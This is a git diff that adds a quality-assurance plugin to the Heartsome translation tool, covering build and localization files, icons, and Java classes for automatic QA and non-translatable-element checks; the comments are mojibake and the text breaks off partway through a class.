mode 100644 index 0000000..49cd9f9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/build.properties @@ -0,0 +1,13 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + plugin.xml,\ + icons/,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties,\ + lib/,\ + hunspell/ + Bundle-Localization: plugin diff --git a/ts/net.heartsome.cat.ts.ui.qa/hunspell/hunspellDictionaries.zip b/ts/net.heartsome.cat.ts.ui.qa/hunspell/hunspellDictionaries.zip new file mode 100644 index 0000000..a17fda8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/hunspell/hunspellDictionaries.zip differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/disabled_co.png b/ts/net.heartsome.cat.ts.ui.qa/icons/disabled_co.png new file mode 100644 index 0000000..c1e73ef Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/disabled_co.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/edition_fa.png b/ts/net.heartsome.cat.ts.ui.qa/icons/edition_fa.png new file mode 100644 index 0000000..1e8011b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/edition_fa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/enabled_co.png b/ts/net.heartsome.cat.ts.ui.qa/icons/enabled_co.png new file mode 100644 index 0000000..8ebb528 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/enabled_co.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/error.png b/ts/net.heartsome.cat.ts.ui.qa/icons/error.png new file mode 100644 index 0000000..e66c98e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/error.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/fa.png b/ts/net.heartsome.cat.ts.ui.qa/icons/fa.png new file mode 100644 index 0000000..8307428 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/fa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/translation_fa.png b/ts/net.heartsome.cat.ts.ui.qa/icons/translation_fa.png new file mode 100644 index 0000000..bae205f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/translation_fa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/warning.png b/ts/net.heartsome.cat.ts.ui.qa/icons/warning.png new file mode 100644 index 0000000..67f30b4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/warning.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/icons/words_fa.png b/ts/net.heartsome.cat.ts.ui.qa/icons/words_fa.png new file mode 100644 index 0000000..c196e21 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/icons/words_fa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/2.PNG b/ts/net.heartsome.cat.ts.ui.qa/images/2.PNG new file mode 100644 index 0000000..5f7ea9d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/2.PNG differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/GreenMinusSign.png b/ts/net.heartsome.cat.ts.ui.qa/images/GreenMinusSign.png new file mode 100644 index 0000000..c602206 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/GreenMinusSign.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/GreenPlusSign.png b/ts/net.heartsome.cat.ts.ui.qa/images/GreenPlusSign.png new file mode 100644 index 0000000..c847550 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/GreenPlusSign.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/Thumbs.db b/ts/net.heartsome.cat.ts.ui.qa/images/Thumbs.db new file mode 100644 index 0000000..ea674dd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/Thumbs.db differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/addSign.png b/ts/net.heartsome.cat.ts.ui.qa/images/addSign.png new file mode 100644 index 0000000..4b42860 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/addSign.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/delete.png b/ts/net.heartsome.cat.ts.ui.qa/images/delete.png new file mode 100644 index 0000000..380ab27 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/delete.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/deleteSign.png b/ts/net.heartsome.cat.ts.ui.qa/images/deleteSign.png new file mode 100644 index 0000000..f421f05 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/deleteSign.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/fa_analysis_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/fa_analysis_32.png new file mode 100644 index 0000000..c4367d9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/fa_analysis_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/fa_equivalent_set_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/fa_equivalent_set_32.png new file mode 100644 index 0000000..24307b2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/fa_equivalent_set_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/fa_fileAnalysis_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/fa_fileAnalysis_32.png new file mode 100644 index 0000000..4c44457 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/fa_fileAnalysis_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/qa-logo.png b/ts/net.heartsome.cat.ts.ui.qa/images/qa-logo.png new file mode 100644 index 0000000..81fde2f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/qa-logo.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/qa.png b/ts/net.heartsome.cat.ts.ui.qa/images/qa.png new file mode 100644 index 0000000..7c0569a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/qa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/qa_ignore_element_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/qa_ignore_element_32.png new file mode 100644 index 0000000..9e81ad7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/qa_ignore_element_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/qa_items_choose.png b/ts/net.heartsome.cat.ts.ui.qa/images/qa_items_choose.png new file mode 100644 index 0000000..608a25b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/qa_items_choose.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/qa_nontrans_element_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/qa_nontrans_element_32.png new file mode 100644 index 0000000..907f084 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/qa_nontrans_element_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/qa_paragraph_consistence_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/qa_paragraph_consistence_32.png new file mode 100644 index 0000000..1246772 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/qa_paragraph_consistence_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/qa_tgtLength_set_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/qa_tgtLength_set_32.png new file mode 100644 index 0000000..b8624f5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/qa_tgtLength_set_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/sys_aspell_dic_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/sys_aspell_dic_32.png new file mode 100644 index 0000000..7af5051 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/sys_aspell_dic_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/sys_dictionary_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/sys_dictionary_32.png new file mode 100644 index 0000000..563adfa Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/sys_dictionary_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/sys_in_dic_32.png b/ts/net.heartsome.cat.ts.ui.qa/images/sys_in_dic_32.png new file mode 100644 index 0000000..eb248e6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/sys_in_dic_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/images/xliff_16.jpg b/ts/net.heartsome.cat.ts.ui.qa/images/xliff_16.jpg new file mode 100644 index 0000000..d17628f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/images/xliff_16.jpg differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/lib/jna.jar b/ts/net.heartsome.cat.ts.ui.qa/lib/jna.jar new file mode 100644 index 0000000..3b8fb4f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.qa/lib/jna.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.qa/plugin.properties b/ts/net.heartsome.cat.ts.ui.qa/plugin.properties new file mode 100644 index 0000000..9cfd0b7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/plugin.properties @@ -0,0 +1,24 @@ +# properties file for locale [zh] +qa.plugin.qa = \u54c1\u8d28\u68c0\u67e5 +qa.plugin.batchQA = \u54c1\u8d28\u68c0\u67e5... +qa.plugin.menu.qa = \u54c1\u8d28\u68c0\u67e5(&Q) +qa.plugin.subMenu.qa = \u54c1\u8d28\u68c0\u67e5... +qa.plugin.displayQAResultViewer = \u54c1\u8d28\u68c0\u67e5 +qa.plugin.qaResultViewer = \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c +qa.plugin.nonTransElement = \u975e\u8bd1\u5143\u7d20 +qa.plugin.qaInstal = \u68c0\u67e5\u8bbe\u7f6e +qa.plugin.wordsFA = \u5b57\u6570\u5206\u6790... +qa.plugin.wordsFA_1 = \u5b57\u6570\u5206\u6790 +qa.plugin.transProgressFA = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790... +qa.plugin.transProgressFA_1 = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.plugin.editProgressFA = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790... +qa.plugin.editProgressFA_1 = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790 +qa.plugin.numberQA = \u6570\u5b57\u4e00\u81f4\u6027\u68c0\u67e5 +qa.plugin.tagQA = \u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 + +menu.numberQA = \u6570\u5b57\u4e00\u81f4\u6027\u68c0\u67e5 +menu.tagQA = \u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 + +preferencePages.FileAnalysisInstalPage = \u5b57\u6570\u5206\u6790 +preferencePages.EquivalentPage = \u52a0\u6743\u7cfb\u6570 +preferencePages.SpellPage = \u62fc\u5199\u68c0\u67e5 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.qa/plugin.xml b/ts/net.heartsome.cat.ts.ui.qa/plugin.xml new file mode 100644 index 0000000..f373f8c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/plugin.xml @@ -0,0 +1,491 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.qa/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.qa/plugin_en.properties new file mode 100644 index 0000000..7d79bdc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/plugin_en.properties @@ -0,0 +1,24 @@ +# properties file for locale [zh] +qa.plugin.qa = QA +qa.plugin.batchQA = QA... +qa.plugin.menu.qa = &QA +qa.plugin.subMenu.qa = QA... +qa.plugin.displayQAResultViewer = QA +qa.plugin.qaResultViewer = QA Results +qa.plugin.nonTransElement = Non-translatable text +qa.plugin.qaInstal = QA Settings +qa.plugin.wordsFA = Analyze Files... +qa.plugin.wordsFA_1 = Analyze Files +qa.plugin.transProgressFA = Translation Progress Analysis... +qa.plugin.transProgressFA_1 = Translation Progress Analysis +qa.plugin.editProgressFA = Approval Progress Analysis... +qa.plugin.editProgressFA_1 = Approval Progress Analysis +qa.plugin.numberQA = Numeral Consistency Check +qa.plugin.tagQA = Tag Consistency Check + +menu.numberQA = Numeral Consistency Check +menu.tagQA = Tag Consistency Check + +preferencePages.FileAnalysisInstalPage = Analyze Files +preferencePages.EquivalentPage = Weighted Factor +preferencePages.SpellPage = Spell Checking \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.qa/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.qa/plugin_zh.properties new file mode 100644 index 0000000..37a9393 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/plugin_zh.properties @@ -0,0 +1,24 @@ +# properties file for locale [zh] +qa.plugin.qa = \u54c1\u8d28\u68c0\u67e5 +qa.plugin.batchQA = \u54c1\u8d28\u68c0\u67e5... +qa.plugin.menu.qa = \u54c1\u8d28\u68c0\u67e5(&Q) +qa.plugin.subMenu.qa = \u54c1\u8d28\u68c0\u67e5... +qa.plugin.displayQAResultViewer = \u54c1\u8d28\u68c0\u67e5 +qa.plugin.qaResultViewer = \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c +qa.plugin.nonTransElement = \u975e\u8bd1\u5143\u7d20 +qa.plugin.qaInstal = \u68c0\u67e5\u8bbe\u7f6e +qa.plugin.wordsFA = \u5b57\u6570\u5206\u6790... +qa.plugin.wordsFA_1 = \u5b57\u6570\u5206\u6790 +qa.plugin.transProgressFA = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790... +qa.plugin.transProgressFA_1 = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.plugin.editProgressFA = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790... +qa.plugin.editProgressFA_1 = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790 +qa.plugin.numberQA = \u6570\u5b57\u4e00\u81f4\u6027\u68c0\u67e5 +qa.plugin.tagQA = \u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 + +menu.numberQA = \u6570\u5b57\u4e00\u81f4\u6027\u68c0\u67e5 +menu.tagQA = \u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 + +preferencePages.FileAnalysisInstalPage = \u5b57\u6570\u5206\u6790 +preferencePages.EquivalentPage = \u52a0\u6743\u7cfb\u6570 +preferencePages.SpellPage = \u62fc\u5199\u68c0\u67e5 diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/Activator.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/Activator.java new file mode 100644 index 0000000..899ceff --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.ui.qa; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.qa"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/AutomaticQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/AutomaticQA.java new file mode 100644 index 0000000..33bf89e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/AutomaticQA.java @@ -0,0 +1,303 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IAutomaticQA; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 自动å“质检查解å‘ç±» + * è‹¥æŸä¸ªæ£€æŸ¥é¡¹çš„级别是错误,则弹出æ示对è¯æ¡† + * @author robert 2012-02-13 + * @version + * @since JDK1.6 + */ +public class AutomaticQA implements IAutomaticQA{ + /** å“质检查è¿è¡Œæ—¶æœºï¼Œä»Žé¦–选项中获å–, 当此值等于0时:为从ä¸æ‰§è¡Œ;等于1时,为入库时执行;等于2时,为批准文本段时执行 */ + private int runTime = -1; + private IPreferenceStore preferenceStore; + /** ä¿å­˜æŸä¸ªæ£€æŸ¥é¡¹çš„实例 */ + private Map qaItemClassMap = new HashMap(); + private QAModel model; + private IWorkbenchWindow window; + private XLFHandler handler; + private Map filterMap; + private IWorkspaceRoot root; + private IFile iFile; + private QAXmlHandler xmlHandler; + private QAResult qaResult; + public final static Logger logger = LoggerFactory.getLogger(AutomaticQA.class.getName()); + private boolean isCancel = false; + + public AutomaticQA(){ + + } + + public void setInitData(XLFHandler handler) { + this.handler = handler; + preferenceStore = Activator.getDefault().getPreferenceStore(); + model = new QAModel(); + window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + filterMap = getNotIncludePara(); + root = ResourcesPlugin.getWorkspace().getRoot(); + xmlHandler = new QAXmlHandler(); + + // 存储å“质检查的检查项 + model.setBatchQAItemIdList(getAutoQAItems()); + // 存储å“质检查的检查时ä¸åŒ…括的文本段 + model.setNotInclude(filterMap); + model.setShell(window.getShell()); + + XLIFFEditorImplWithNatTable nattable = XLIFFEditorImplWithNatTable.getCurrent(); + boolean isMultiFile = nattable.isMultiFile(); + if (isMultiFile) { + model.setMuliFiles(true); + IFile multiTempIFile = ((FileEditorInput) nattable.getEditorInput()).getFile(); + ArrayList selectIFiles = (ArrayList) ResourceUtils.filesToIFiles(nattable.getMultiFileList()); + model.setMultiOper(new MultiFilesOper(selectIFiles.get(0).getProject(), selectIFiles, multiTempIFile)); + }else { + model.setMuliFiles(false); + } + } + + /** + * 开始进行自动å“质检查 + * @param isAddToDb 若为true,则是入库æ“作,若false,则为批准æ“作 + * @return 若返回 "",则表示没有检查到错误,若返回 null,则标识退出æ“作。 + */ + public String beginAutoQa(boolean isAddToDb, String rowId, boolean needInitQAResultViewer) { + runTime = preferenceStore.getInt(QAConstant.QA_PREF_AUTO_QARUNTIME); + + //从ä¸æ‰§è¡Œ + if (runTime == QAConstant.QA_ZERO) { + return ""; + } + if (needInitQAResultViewer) { + initQAResult(); + } + + //等于1时,为入库时执行 + if ((runTime == QAConstant.QA_FIRST || runTime == QAConstant.QA_THREE) && isAddToDb) { + StringBuffer resultSB = new StringBuffer(); + autoQA(rowId, resultSB, isAddToDb); + if (resultSB.length() > 0) { + resultSB.append(MessageFormat.format(Messages.getString("qa.AutomaticQATrigger.tip5"), new Object[]{Messages.getString("qa.AutomaticQATrigger.name1")})); + } + return isCancel ? null : resultSB.toString(); + } + //等于2时,为批准文本段时执行 + if ((runTime == QAConstant.QA_TWO || runTime == QAConstant.QA_THREE) && !isAddToDb) { + StringBuffer resultSB = new StringBuffer(); + autoQA(rowId, resultSB, isAddToDb); + if (resultSB.length() > 0) { + resultSB.append(MessageFormat.format(Messages.getString("qa.AutomaticQATrigger.tip5"), new Object[]{Messages.getString("qa.AutomaticQATrigger.name2")})); + } + return isCancel ? null : resultSB.toString(); + } + return ""; + + } + + public void autoQA(String rowId, StringBuffer resultSB, boolean isAddToDb){ + iFile = root.getFileForLocation(Path.fromOSString(RowIdUtil.getFileNameByRowId(rowId))); + //先通过rowId获å–å“质检查所需è¦çš„æ•°æ® + Map tuMap = handler.getAutoQAFilteredTUText(rowId, filterMap); + if (tuMap.size() == 0){ + return; + } + tuMap.put("iFileFullPath", iFile.getFullPath().toOSString()); + String source_lan = tuMap.get("source_lan"); + String target_lan = tuMap.get("target_lan"); + String langPair = source_lan + "->" + target_lan; + tuMap.put("langPair", langPair); + String lineNumber = "" + (handler.getRowIndex(rowId) + 1); + tuMap.put("lineNumber", lineNumber); + tuMap.put("rowId", rowId); + + if ("".equals(tuMap.get("tarContent")) || tuMap.get("tarContent") == null ) { //正常情况下应有四个值 + return; + } + + resultSB.append(MessageFormat.format( + Messages.getString("qa.AutomaticQATrigger.tip1"), + new Object[] { + lineNumber, + isAddToDb ? Messages.getString("qa.AutomaticQATrigger.name1") : Messages + .getString("qa.AutomaticQATrigger.name2") })); + // å“质检查项的总数 + QARealization realization = null; + boolean hasError = false; + IProgressMonitor monitor = new NullProgressMonitor(); + for (int i = 0; i < model.getBatchQAItemIdList().size(); i++) { + final String qaItemId = model.getBatchQAItemIdList().get(i); + realization = getClassInstance(qaItemId, qaResult); + // 若没有该项检查的实例,æ示出错 + if (realization == null) { + MessageDialog.openError(model.getShell(), + Messages.getString("qa.AutomaticQATrigger.name3"), + MessageFormat.format(Messages.getString("qa.AutomaticQATrigger.tip2"), + new Object[] { model.getQaItemId_Name_Class().get(qaItemId).get(QAConstant.QA_ITEM_NAME) })); + } + + // 开始进行该项文件的该项检查 + String result = realization.startQA(model, monitor, iFile, xmlHandler, tuMap); + if (monitor.isCanceled()) { + isCancel = true; + return; + } + // 未é…置术语库, + if (result == null) { + model.getBatchQAItemIdList().remove(qaItemId); + i --; + } + if (result != null && !"".equals(result)) { + hasError = true; + result = model.getQaItemId_Name_Class().get(result).get(QAConstant.QA_ITEM_NAME); + resultSB.append("\t" + result).append(Messages.getString("qa.AutomaticQATrigger.tip3")).append("\n"); + } + } + // 这一步很é‡è¦ï¼Œå°†æ•°æ®ä¼ é€è‡³ç»“果视图 + qaResult.sendDataToViewer(tuMap.get("rowId")); + if (!hasError) { + resultSB.delete(0, resultSB.length()); + } + monitor.done(); + return; + } + + /** + * åˆå§‹åŒ–å“质检查结果视图, ; + */ + public void initQAResult() { +// // 先调用方法,查看å“质检查结果视图是å¦å¤„于显示状æ€ï¼Œå¦‚æžœæ˜¾ç¤ºäº†çš„ã€‚åˆ é™¤æ•°æ® +// IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); +// IViewPart view = workbenchPage.findView(QAResultViewPart.ID); +// +// if (view != null) { +// // è¿è¡Œæ—¶ï¼Œå°†ç»“果视图中列表的数æ®æ¸…除 +// ((QAResultViewPart) view).clearTableData(); +// } + + qaResult = new QAResult(); + qaResult.setMultiOper(model.getMultiOper()); + qaResult.setAutoQA(true); + qaResult.setFilePathList(handler.getFiles()); + } + + /** + * 获å–æŸä¸ªæ£€æŸ¥é¡¹å®žçŽ°ç±»çš„实例 + * @param qaItemId + * @return + */ + public QARealization getClassInstance(String qaItemId, QAResult qaResult) { + if (qaItemClassMap.get(qaItemId) != null) { + return (QARealization) qaItemClassMap.get(qaItemId); + } + + try { + HashMap valueMap = model.getQaItemId_Name_Class().get(qaItemId); + Object obj = null; + try { + obj = Class.forName(valueMap.get(QAConstant.QA_ITEM_CLASSNAME)).newInstance(); + } catch (Exception e) { + logger.error("", e); + e.printStackTrace(); + } + if (QARealization.class.isInstance(obj)) { + qaItemClassMap.put(qaItemId, (QARealization) obj); + ((QARealization) obj).setParentQaResult(qaResult); + return (QARealization) obj; + } + } catch (Exception e) { + logger.error(Messages.getString("qa.AutomaticQATrigger.tip4"), e); + } + return null; + } + + /** + * 从首选项中获å–自动检查中è¦æ£€æŸ¥çš„项 + * @return + */ + public LinkedList getAutoQAItems() { + LinkedList itemsList = new LinkedList(); + + String itemsValue = preferenceStore.getString(QAConstant.QA_PREF_AUTO_QAITEMS); + List itemsValList = new ArrayList(); + String[] itemsValArray = itemsValue.split(","); + for (int index = 0; index < itemsValArray.length; index++) { + itemsValList.add(itemsValArray[index]); + } + + //获å–所有的å“质检查项的标识符 + model.getQaItemId_Name_Class().keySet(); + Iterator qaIt = model.getQaItemId_Name_Class().keySet().iterator(); + while (qaIt.hasNext()) { + String qaItermId = qaIt.next(); + if (itemsValList.indexOf(qaItermId) >= 0) { + itemsList.add(qaItermId); + } + } + + return itemsList; + } + + /** + * 获å–首选项中å“质检查的ä¸åŒ…括的文本段 + * @return + */ + public Map getNotIncludePara() { + Map notInclude = new HashMap(); + + // ä¸åŒ…æ‹¬ä¸Šä¸‹æ–‡åŒ¹é… + notInclude.put(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE)); + // ä¸åŒ…括完æˆåŒ¹é… + notInclude.put(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE)); + // ä¸åŒ…括已é”文本段 + notInclude.put(QAConstant.QA_PREF_LOCKED_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_LOCKED_NOTINCLUDE)); + + return notInclude; + } + + /** + * 关闭数æ®åº“,åªé’ˆå¯¹æœ¯è¯­ä¸€è‡´æ€§æŸ¥ + * ; + */ + public void closeDB(){ + if (qaItemClassMap.get(QAConstant.QA_TERM) != null) { + QARealization termRealize = qaItemClassMap.get(QAConstant.QA_TERM); + termRealize.closeDB(); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/NonTranslationQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/NonTranslationQA.java new file mode 100644 index 0000000..cfbf6c0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/NonTranslationQA.java @@ -0,0 +1,393 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.NontransElementBean; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * å“质检查ï¼éžè¯‘元素 + * 进度æ¡æ示格å¼ä¸º MessageFormat.format("检查{0}文件,éžè¯‘元素检查...) + * 2011ï¼11-22 完æˆåŠŸèƒ½ï¼šæ£€æŸ¥å†…置元素,如邮件,IP地å€ï¼Œweb链接 + * @author robert 2011-11-21 + */ +public class NonTranslationQA extends QARealization { + /** 译文中丢失éžè¯‘å…ƒç´ çš„é›†åˆ */ + private List srcNonTransData; + /** æºæ–‡ä¸­ä¸¢å¤±éžè¯‘å…ƒç´ çš„é›†åˆ */ + private List tgtNonTransData; + private String srcLang = ""; + private String tgtLang = ""; + private List nonTransElementsMap; + private int tipLevel; + private IPreferenceStore preferenceStore; + private boolean hasError; + public final static Logger logger = 